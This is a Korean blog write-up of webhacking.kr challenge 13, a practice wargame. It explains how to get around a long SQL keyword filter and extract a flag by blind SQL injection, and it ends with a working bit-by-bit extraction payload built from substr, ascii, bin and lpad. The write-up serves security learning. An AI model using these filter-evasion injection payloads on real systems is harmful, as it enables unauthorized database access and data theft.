우선 필터링 목록이 빡쎄다
union
+
-
*
_
information
schema
#
and
/
char
hex
limit
ascii
group (group_concat, group by)
=
<
>
?no=1일 때만 참이 뜬다.
?no=0 or 1
요래하면 쿼리 전체가 참이된다.
테이블 명과 컬럼 명이 주어졌으니, flag를 추출하면 된다.
?no=0 or length(flag)
를 이용하여 flag의 길이를 알아낸다.
그러나 거짓으로 뜬다.
(유추할 수 있는 쿼리는 select flag from prob13password where no={GET_[no]} 이며, 반환행이 1개일 때만 참으로 뜨는듯.)
select ~ where no=0 or length(flag)는 참인데 거짓으로 뜬다. (flag길이가 0일리는 없으니, length(flag)는 참이겠지?)
?no=0 or length((select flag from prob13password))
?no=0 or if(length((select flag from prob13password)),1,1)
모두 거짓으로 뜬다.
레코드가 여러개라 서브쿼리가 여러 행을 리턴해서 에러가 날 가능성이 있다.
그러나 limit이 막혀있어서 한 행씩 추출이 불가하다.
limit우회법을 찾아보니 group_concat(), min(), max()를 사용하면 된다.
select max(flag) from prob13password => flag가 가장 큰 값 추출
group_concat()은 필터링되어 사용 불가.
min함수와 max함수 리턴 값이 다르다. (length값이 다름.)
그 뒤는 substr로 한 글자씩 추출, ascii함수로 아스키로 바꾼 후에 bin함수로 2진화, lpad로 7글자 맞추어 준 후 다시 substr
아래는 페이로드
?no=substr(lpad(bin(ascii(substr((select max(flag) from prob13password),1,1))),7,0),1,1)
'write-up > webhacking.kr' 카테고리의 다른 글
22 (0) | 2016.08.23 |
---|---|
9번 (0) | 2016.07.17 |
webhacking.kr 파일 업로드 문제 (0) | 2016.07.16 |
57번 (0) | 2016.04.09 |
51번 (0) | 2016.04.09 |